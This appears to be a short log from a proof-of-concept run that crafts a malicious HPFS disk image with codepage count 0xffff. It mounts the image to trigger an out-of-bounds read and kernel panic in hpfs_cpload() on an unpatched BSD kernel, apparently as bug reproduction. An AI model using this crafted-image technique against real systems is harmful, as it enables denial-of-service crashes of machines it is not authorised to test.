[craft] wrote crafted.img  sp_cpinum=1  d_cpcnt=0xffff  d_cpfirst=0
[craft] hpfs_cpload loop: for(i=0; i<0xffff; i++) reads d_cpdblk[i];
[craft]   i=0..2 in-bounds; i=3 still in 512B buffer; i>=4 OOB past bp->b_data;
[craft]   crosses page boundary within ~30 iters -> panic
[run] attached crafted.img -> /dev/vn4
[run] mounting crafted HPFS image -- on the UNPATCHED kernel expect a panic
      in hpfs_cpload() at sys/vfs/hpfs/hpfs_subr.c:228
      (ssh will hang; the panic lands in the serial console / boot.log)